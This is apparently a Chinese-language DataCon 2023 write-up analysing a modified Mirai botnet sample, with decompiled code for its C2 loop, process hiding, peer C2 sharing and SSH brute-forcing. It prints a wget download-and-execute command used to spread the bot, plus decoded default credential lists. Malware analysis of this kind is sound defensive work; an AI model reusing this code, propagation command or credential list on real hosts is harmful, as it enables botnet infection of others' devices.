Skip to main content

data2023-c2分析

·1980 words·10 mins

Datacon2023-Caesar #

稍微记一下魔改Marai和Marai提高隐蔽性的部分 要逆向,先正向,开发功底需要抓紧提高了。。。。已经落后很多了

main

__int64 __fastcall main(int a1, char **args, char **a3)
{
  unsigned int v4; // eax
  int pings; // edx
  unsigned int v6; // eax
  unsigned int v7; // eax
  unsigned __int8 id_len; // [rsp+1Fh] [rbp-6E1h] BYREF
  int v9; // [rsp+20h] [rbp-6E0h] BYREF
  int err; // [rsp+24h] [rbp-6DCh] BYREF
  socklen_t len; // [rsp+28h] [rbp-6D8h] BYREF
  int pings_1; // [rsp+2Ch] [rbp-6D4h]
  int fd; // [rsp+30h] [rbp-6D0h]
  int mfd; // [rsp+34h] [rbp-6CCh]
  int n; // [rsp+38h] [rbp-6C8h]
  int name_buf_len; // [rsp+3Ch] [rbp-6C4h]
  int v17; // [rsp+40h] [rbp-6C0h]
  unsigned int p_writefds; // [rsp+44h] [rbp-6BCh]
  int v19; // [rsp+48h] [rbp-6B8h]
  unsigned int v20; // [rsp+4Ch] [rbp-6B4h]
  int nfds; // [rsp+50h] [rbp-6B0h]
  int v22; // [rsp+54h] [rbp-6ACh]
  int v23; // [rsp+58h] [rbp-6A8h]
  int pgid; // [rsp+5Ch] [rbp-6A4h]
  char *s1; // [rsp+60h] [rbp-6A0h]
  void *buf; // [rsp+68h] [rbp-698h]
  struct timeval timeout; // [rsp+70h] [rbp-690h] BYREF
  struct sockaddr addr; // [rsp+80h] [rbp-680h] BYREF
  sigset_t set; // [rsp+90h] [rbp-670h] BYREF
  fd_set readfds; // [rsp+110h] [rbp-5F0h] BYREF
  fd_set writefds; // [rsp+190h] [rbp-570h] BYREF
  struct sigaction v32; // [rsp+210h] [rbp-4F0h] BYREF
  char name_buf[32]; // [rsp+2B0h] [rbp-450h] BYREF
  char id_buf[32]; // [rsp+2D0h] [rbp-430h] BYREF
  char rdbuf[1032]; // [rsp+2F0h] [rbp-410h] BYREF
  unsigned __int64 v36; // [rsp+6F8h] [rbp-8h]

  v36 = __readfsqword(0x28u);


  // Delete self
  pings_1 = 0;
  unlink(*args);

  // Signal based control flow
  sigemptyset(&set);
  sigaddset(&set, 2);
  sigprocmask(0, &set, 0LL);
  signal(17, (__sighandler_t)1);
  signal(5, anti_gdb_entry);
  fd = open("/dev/watchdog", 2);

  // Prevent watchdog from 
  // rebooting device
  if ( fd != -1 || (fd = open("/dev/misc/watchdog", 2), fd != -1) )
  {
    LODWORD(timeout.tv_sec) = 1;
    ioctl(fd, 0x80045704uLL, &timeout);
    close(fd);
    fd = 0;
  }
  chdir("/");
  s1 = getenv("DOCKER_IN_CONTAINER");
  if ( !s1 || strcmp(s1, "1") )
  {
    sleep(1u);
    v32.sa_flags = 4;
    sigemptyset(&v32.sa_mask);
    v32.sa_handler = (__sighandler_t)segv_handler;
    if ( sigaction(11, &v32, 0LL) == -1 )
      perror("sigaction");
    v32.sa_flags = 4;
    sigemptyset(&v32.sa_mask);
    v32.sa_handler = (__sighandler_t)segv_handler;
    if ( sigaction(7, &v32, 0LL) == -1 )
      perror("sigaction");

    LOCAL_ADDR = util_local_addr();
    ::addr.sa_family = 2;
    *(_DWORD *)&::addr.sin_port[2] = htonl(0x41DECA35u);// FAKE_CNC_ADDR
    *(_WORD *)::addr.sin_port = htons(0x50u);   // 
                                                // 
                                                // 
    inter();                                    // 自己写的


    // #ifdef DEBUG
    unlock_tbl_if_nodebug(*args);               // 不太喵,table和源程序是一样的
    anti_gdb_entry(0);
    // #endif

    ensure_single_instance();


    rand_init();
    util_zero(id_buf, 0x20u);

    if ( a1 == 2 && (int)util_strlen(args[1]) <= 31 )
    {
      util_strcpy(id_buf, args[1]);
      v4 = util_strlen(args[1]);
      util_zero(args[1], v4);
    }

    // Hide argv0
    name_buf_len = 4 * ((rand_next() & 3) + 3);
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    util_strcpy(*args, name_buf);


    // Hide process name
    name_buf_len = 4 * ((unsigned int)rand_next() % 6 + 3);
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    prctl(15, name_buf);

    // Print out system exec
    table_unlock_val(2u);
    buf = (void *)table_retrieve_val(2, &v9);
    write(1, buf, v9);
    write(1, "\n", 1uLL);
    table_lock_val(2u);                         // table_lock_val(TABLE_EXEC_SUCCESS);
                                                // 



    attack_init();
    killer_init();
    while ( 1 )
    {
      do
      {
        while ( 1 )
        {
          do
          {
            memset(&readfds, 0, sizeof(readfds));
            v17 = 0;
            p_writefds = (unsigned int)&writefds;
            memset(&writefds, 0, sizeof(writefds));
            v19 = 0;
            v20 = (unsigned int)&v32;
            if ( fd_ctrl != -1 )
              readfds.fds_bits[fd_ctrl / 64] |= 1LL << (fd_ctrl % 64);
            if ( fd_serv == -1 )
              establish_connection();
            if ( pending_connection )
              writefds.fds_bits[fd_serv / '@'] |= 1LL << (fd_serv % 64);
            else
              readfds.fds_bits[fd_serv / 64] |= 1LL << (fd_serv % 64);

            // Get maximum FD for select
            if ( fd_ctrl <= fd_serv )
              mfd = fd_serv;
            else
              mfd = fd_ctrl;

            // Wait 10s in call to select()
            timeout.tv_usec = 0LL;
            timeout.tv_sec = 10LL;
            nfds = select(mfd + 1, &readfds, &writefds, 0LL, &timeout);
          }
          while ( nfds == -1 );

          // else if (nfds == 0)
          if ( !nfds )
          {
            LOWORD(len) = 0;
            pings = pings_1++;
            if ( !(pings % 6) )
              send(fd_serv, &len, 2uLL, 0x4000);
          }
          if ( fd_ctrl != -1 && (readfds.fds_bits[fd_ctrl / 64] & (1LL << (fd_ctrl % 64))) != 0 )
          {
            len = 16;
            accept(fd_ctrl, &addr, &len);


            // 和源代码不一样的地方========================================
            v6 = time(0LL);
            srand(v6);
            v22 = rand();
            v23 = v22 % 2;
            if ( !(v22 % 2) )
              ssh_Br();


            // ============
            scanner_init();                     // //首先生成随机ip,而后随机选择字典中的用户名密码组合进行telnet登录测试
            killer_kill();
            attack_kill_all();
            kill(-pgid, 9);
            exit(0);
          }


          // Check if CNC connection was established or timed out or errored
          if ( !pending_connection )
            break;
          pending_connection = 0;
          if ( (writefds.fds_bits[fd_serv / 64] & (1LL << (fd_serv % 64))) == 0 )
            goto LABEL_59;
          err = 0;
          len = 4;
          getsockopt(fd_serv, 1, 4, &err, &len);
          if ( err )
          {
            close(fd_serv);
            fd_serv = -1;
            v7 = rand_next();
            sleep(v7 % 10 + 1);                 // sleep((rand_next() % 10) + 1);
          }
          else
          {
            id_len = util_strlen(id_buf);
            LOCAL_ADDR = util_local_addr();
            send(fd_serv, "UD3\"", 4uLL, 0x4000);
            send(fd_serv, &id_len, 1uLL, 0x4000);
            if ( id_len )
              send(fd_serv, id_buf, id_len, 0x4000);
          }
        }
      }
      while ( fd_serv == -1 || (readfds.fds_bits[fd_serv / 64] & (1LL << (fd_serv % 64))) == 0 );
      *__errno_location() = 0;
      n = recv(fd_serv, &len, 2uLL, 16386);
      if ( n != -1 )
        goto LABEL_48;
      if ( *__errno_location() != 11 && *__errno_location() != 11 && *__errno_location() != 4 )
      {
        n = 0;
LABEL_48:
        if ( n )
        {
          if ( (_WORD)len )
          {
            LOWORD(len) = ntohs(len);
            if ( (unsigned __int16)len > 0x400u )
            {
              close(fd_serv);
              fd_serv = -1;
            }
            *__errno_location() = 0;
            n = recv(fd_serv, rdbuf, (unsigned __int16)len, 0x4002);
            if ( n == -1 )
            {
              if ( *__errno_location() != 11 && *__errno_location() != 11 && *__errno_location() != 4 )
              {
                n = 0;
                goto LABEL_58;
              }
            }
            else
            {
              // If n == 0 then we close the connection!
LABEL_58:
              if ( !n )
                goto LABEL_59;

              // Actually read buffer length and buffer data
              recv(fd_serv, &len, 2uLL, 0x4000);
              LOWORD(len) = ntohs(len);
              recv(fd_serv, rdbuf, (unsigned __int16)len, 0x4000);
              if ( (_WORD)len )
                attack_parse((__int64)rdbuf, (unsigned __int16)len);
            }
          }
          else
          {
            recv(fd_serv, &len, 2uLL, 0x4000);
          }
        }
        else
        {
LABEL_59:
          teardown_connection();
        }
      }
    }
  }
  return 0LL;
}

bot间通信 #

00055FA8BD488A9处在两个子线程内阻塞

unsigned __int64 sub_55FA8BD488A9()
{
  pthread_t newthread; // [rsp+8h] [rbp-18h] BYREF
  pthread_t th; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( !pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL)
    && !pthread_create(&th, 0LL, send_info_to_brother, 0LL) )
  {
    pthread_join(newthread, 0LL);
    pthread_join(th, 0LL);
  }
  return __readfsqword(0x28u) ^ v3;
}

000055FA8BD4856E send_info_to_brother监听随机端口接收udp报文,如果报文中有JXNT-PING字样,返回C2 ip ,nodeip,newtime

void *__fastcall send_info_to_brother(void *a1)
{
  unsigned int v2; // eax
  socklen_t v3; // ebx
  size_t v4; // rax
  socklen_t addr_len; // [rsp+Ch] [rbp-484h] BYREF
  int fd; // [rsp+10h] [rbp-480h]
  int v7; // [rsp+14h] [rbp-47Ch]
  ssize_t v8; // [rsp+18h] [rbp-478h]
  char *inited; // [rsp+20h] [rbp-470h]
  char *v10; // [rsp+28h] [rbp-468h]
  size_t n; // [rsp+30h] [rbp-460h]
  size_t size; // [rsp+38h] [rbp-458h]
  char *v13; // [rsp+40h] [rbp-450h]
  ssize_t v14; // [rsp+48h] [rbp-448h]
  struct sockaddr s; // [rsp+50h] [rbp-440h] BYREF
  struct sockaddr addr; // [rsp+60h] [rbp-430h] BYREF
  char buf[1032]; // [rsp+70h] [rbp-420h] BYREF
  unsigned __int64 v18; // [rsp+478h] [rbp-18h]

  v18 = __readfsqword(0x28u);
  addr_len = 16;
  fd = socket(2, 2, 0);
  if ( fd >= 0 )
  {
    v2 = time(0LL);
    srand(v2);
    v7 = rand() % 40001 + 10000;
    memset(&s, 0, sizeof(s));
    s.sa_family = 2;
    *(_DWORD *)&s.sin_port[2] = inet_addr("0.0.0.0");
    *(_WORD *)s.sin_port = htons(v7);
    if ( bind(fd, &s, 0x10u) >= 0 )
    {
      while ( 1 )
      {
        do
          v8 = recvfrom(fd, buf, 0x400uLL, 0, &addr, &addr_len);
        while ( v8 < 0 );
        if ( v8 > 8 && !strncmp(buf, "JXNT-PING", 9uLL) )
        {
          buf[v8] = 0;
          fflush(stdout);
          inited = init_sharing_info();
	
          v10 = (char *)encode_sharing_info(inited);
          n = strlen(v10);
          size = n + 2;
          v13 = (char *)malloc(n + 2);
          if ( v13 )
          {
            *v13 = n;
            memcpy(v13 + 1, v10, n);
            v13[size - 1] = 0;
            fflush(stdout);
            v3 = addr_len;
            v4 = strlen(v13);
            v14 = sendto(fd, v13, v4, 0, &addr, v3);
          }
        }
        else
        {
          fflush(stdout);
        }
      }
    }
    perror("bind");
    close(fd);
    return 0LL;
  }
  else
  {
    perror("socket");
    return 0LL;
  }
}
JXNT-C2:%sNODE_IP:%sNODE_PORT:%dNEW_TIME:%s

start_routine在table中没有ip被记录的情况下不断监听169.196.166.199 16996

从这里监听到的第一个c2地址(cncIpA)和NodeIpA地址将会被记录作为第二次的监听端口

第二次通过监听botIpA来获取botA记录的c2地址和Nodeip并不管成功更新ip都将记录的Nodeip清空

保证只记录一个最新的Nodeip和c2ip并在Node失去响应后清空ip只留下一个内置的假ip

void __fastcall __noreturn start_routine(void *a1)
{
  int i; // [rsp+0h] [rbp-20h]
  int j; // [rsp+4h] [rbp-1Ch]
  char v3[10]; // [rsp+Eh] [rbp-12h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; (unsigned __int64)i <= 8; ++i )
    v3[i] = (aJxntPing[i] ^ 0x66) + 1;
  sub_55FA8BD47974(v3);
  while ( 1 )
  {
    if ( src[0] )
    {
      for ( j = 0; j < dword_55FA8BD53174; ++j )
      {
        src[0] = 0;
        s1 = 0;
        fflush(stdout);
        parse_IP_and_recv_cnc_info(v3, src, port_0);
        sub_55FA8BD48064();
      }
    }
    else
    {
      parse_IP_and_recv_cnc_info(v3, a169196166199, port);
      sub_55FA8BD48064();
      sleep(1u);
    }
  }
}

ssh爆破,产生随机ip扫描设备 #

void __noreturn sub_55FA8BD4CE60()
{
  int i; // [rsp+Ch] [rbp-14h]
  char *randIp; // [rsp+18h] [rbp-8h]

  malloc(8uLL);
  rand_init();
  decode_warp((__int64)"PMMV", (__int64)"PMMV", 10);
  decode_warp((__int64)"FGDCWNV", (__int64)&unk_55FA8BD4FAED, 9);
  decode_warp((__int64)"cFOKL", (__int64)"CFOKL", 8);
  decode_warp((__int64)"pMMV", (__int64)"TKXZT", 7);
  decode_warp((__int64)"pMMV", (__int64)"FGDCWNV", 6);
  decode_warp((__int64)&unk_55FA8BD4FBD5, (__int64)&unk_55FA8BD4FBD5, 5);
  decode_warp((__int64)&unk_55FA8BD4FBDD, (__int64)&unk_55FA8BD4FBDD, 5);
  decode_warp((__int64)"pMMV", (__int64)"VVLGV", 5);
  decode_warp((__int64)"VGNGAMOCFOKL", (__int64)"VGNGAMOCFOKL", 5);
  decode_warp((__int64)"VGNLGV", (__int64)"VGNLGV", 5);
  decode_warp((__int64)"VGNGAMOCFOKL", (__int64)"CFOKLVGNGAMO", 5);
  decode_warp((__int64)"QWRRMPV", (__int64)"QWRRMPV", 4);
  decode_warp((__int64)"CFOKL", (__int64)&unk_55FA8BD4FC15, 4);
  decode_warp((__int64)"PMMV", (__int64)"CSWCPKM", 3);
  decode_warp((__int64)"FGDCWNV", (__int64)"FGDCWNV", 3);
  decode_warp((__int64)"CFO", (__int64)&unk_55FA8BD4FAED, 3);
  decode_warp((__int64)"PMMV", (__int64)&unk_55FA8BD4FC2A, 2);
  decode_warp((__int64)"PMMV", (__int64)"VQEMKLEML", 2);
  decode_warp((__int64)"CFOKL", (__int64)&unk_55FA8BD4FC42, 1);
  decode_warp((__int64)"PMMV", (__int64)&unk_55FA8BD4FC4B, 1);
  decode_warp((__int64)"cFOKL", (__int64)"ERML", 1);
  decode_warp((__int64)"PMMV", (__int64)"XVG", 1);
  while ( 1 )
  {
    for ( i = 0; i < dword_55FA8BD5322C; ++i )
    {
      randIp = getRandomIp();
      sshBr(*((const char **)qword_55FA8BD53220 + 3 * i), *((const char **)qword_55FA8BD53220 + 3 * i + 1), randIp);
      free(randIp);
    }
  }
}

解密用户名-密码字典,对随机ip的ssh服务进行爆破

unsigned __int64 __fastcall sub_55FA8BD4C910(const char *a1, const char *a2, const char *a3)
{
  const char *error; // rax
  int v6; // [rsp+30h] [rbp-490h]
  int v7; // [rsp+34h] [rbp-48Ch]
  __int64 v8; // [rsp+38h] [rbp-488h]
  __int64 v9; // [rsp+40h] [rbp-480h]
  __int64 started; // [rsp+48h] [rbp-478h]
  const char *v11; // [rsp+50h] [rbp-470h]
  char *v12; // [rsp+68h] [rbp-458h]
  char dest[64]; // [rsp+70h] [rbp-450h] BYREF
  char nptr[1032]; // [rsp+B0h] [rbp-410h] BYREF
  unsigned __int64 v15; // [rsp+4B8h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  v8 = ssh_new();
  ssh_options_set(v8, 0LL, a3);
  ssh_options_set(v8, 2LL, &a22);
  if ( (unsigned int)ssh_connect(v8) || (unsigned int)ssh_userauth_password(v8, a1, a2) )
  {
    error = (const char *)ssh_get_error(v8);
    fprintf(stderr, "Error: %s\n", error);
  }
  else
  {
    v9 = ssh_channel_new(v8);
    ssh_channel_open_session(v9);
    ssh_channel_request_exec(v9, "nproc");
    ssh_channel_read(v9, nptr, 1024LL, 0LL);
    v6 = atoi(nptr);
    memset(nptr, 0, 0x400uLL);
    ssh_channel_send_eof(v9);
    ssh_channel_request_exec(v9, "free -m | awk '/^Mem/ {print $2}'");
    ssh_channel_read(v9, nptr, 1024LL, 0LL);
    v7 = atoi(nptr);
    strcat(dest, a1);
    strcat(dest, a2);
    strcat(dest, a3);
    if ( v6 > 2 && v7 > 500 )
    {
      sub_55FA8BD4C329(dest);
LABEL_10:
      ssh_channel_close(v9);
      ssh_disconnect(v8);
      ssh_free(v8);
      return __readfsqword(0x28u) ^ v15;
    }
    started = MHD_start_daemon(8LL, 8888LL, 0LL, 0LL, sub_55FA8BD4C16E, 0LL, 0LL);
    if ( started )
    {
      v11 = (const char *)sub_55FA8BD4C7BE();
      v12 = sub_55FA8BD4C713(
              " wget -t -1 http://",
              v11,
              ":8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar&& ./caesar");
      ssh_channel_request_exec(v9, v12);
      sleep(0x64u);
      MHD_stop_daemon(started);
      goto LABEL_10;
    }
    fwrite("Failed to start the server.\n", 1uLL, 0x1CuLL, stderr);
  }
  return __readfsqword(0x28u) ^ v15;
}

如果成功,就复制自己到目标机器

隐藏信息手段 #

命令行参数隐藏

    // Hide argv0
    name_buf_len = 4 * ((rand_next() & 3) + 3);
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    util_strcpy(*args, name_buf);

进程名隐藏、系统调用测试

// Hide process name
name_buf_len = 4 * ((unsigned int)rand_next() % 6 + 3);
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
prctl(15, name_buf);

// Print out system exec
table_unlock_val(2u);
buf = (void *)table_retrieve_val(2, &v9);
write(1, buf, v9);
write(1, "\n", 1uLL);
table_lock_val(2u);                         // table_lock_val(TABLE_EXEC_SUCCESS);
                                            // 

加载函数地址

  v9[1] = (__int64)table_unlock_val;
  v9[2] = (__int64)table_retrieve_val;
  v9[3] = (__int64)table_init;
  v9[4] = (__int64)table_lock_val;
  v9[5] = (__int64)util_memcpy;
  v9[6] = (__int64)sub_55FA8BD4E597;
  v9[7] = (__int64)killer_init;
  v9[8] = (__int64)anti_gdb_entry;
  v9[0] = (__int64)ensure_single_instance;

隐藏cnc地址解析

//静态分析时 cnc 的定义
.data:000055FA8BD53038 ; __int64 (*resolve_func)(void)
.data:000055FA8BD53038 resolve_func    dq offset util_local_addr
.data:000055FA8BD53038                                         ; DATA XREF: anti_gdb_entry+12w
.data:000055FA8BD53038                                         ; establish_connection+65r ...

运行时加载实际cnc解析

void anti_gdb_entry()
{
  resolve_func = (__int64 (*)(void))resolve_cnc_addr;
}

加密信息解码 #

ssh用户密码信息

b'root'
b'default'
b'admin'
b'Admin'
b'vizxv'
b'Root'
b'e8ehome'
b'e8telnet'
b'ttnet'
b'telecomadmin'
b'telnet'
b'admintelecom'
b'support'
b'1001chin'
b'aquario'
b'adm'
b'taZz@23495859'
b'tsgoingon'
b'admin123'
b'GM8182'
b'gpon'
b'zte'

Marai加密信息

b'cnc.changeme.com\x00'
b'\x00\x17'
b'report.changeme.com\x00'
b'\xbb\xe5'
b'listening tun0\x00'
b'https://youtu.be/dQw4w9WgXcQ\x00'
b'/proc/\x00'
b'/exe\x00'
b' (deleted)\x00'
b'/fd\x00'
b'.anime\x00'
b'/status\x00'
b'REPORT %s:%s\x00'
b'HTTPFLOOD\x00'
b'LOLNOGTFO\x00'
b''
b''
b''
b''
b''
b'\\x58\\x4D\\x4E\\x4E\\x43\\x50\\x46\\x22\x00'
b'zollard\x00'
b'GETLOCALIP\x00'
b'shell\x00'
b'enable\x00'
b'system\x00'
b'sh\x00'
b'/bin/busybox MIRAI\x00'
b'MIRAI: applet not found\x00'
b'ncorrect\x00'
b'/bin/busybox ps\x00'
b'/bin/busybox kill -9 \x00'
b'TSource Engine Query\x00'
b'/etc/resolv.conf\x00'
b'nameserver \x00'
b'Connection: keep-alive\x00'
b''
b''
b'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\x00'
b''
b''
b''
b''
b'Accept-Language: en-US,en;q=0.8\x00'
b''
b''
b''
b''
b''
b''
b''
b'Content-Type: application/x-www-form-urlencoded\x00'
b"setCookie('\x00"
b'refresh:\x00'
b'location:\x00'
b'set-cookie:\x00'
b'content-length:\x00'
b'transfer-encoding:\x00'
b'chunked\x00'
b'keep-alive\x00'
b'connection:\x00'
b'server: dosarrest\x00'
b'server: cloudflare-nginx\x00'
b''
b''
b''
b''
b'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\x00'
b'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\x00'
b'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\x00'
b''
b'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\x00'
b''
b'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\x00'
b''
b''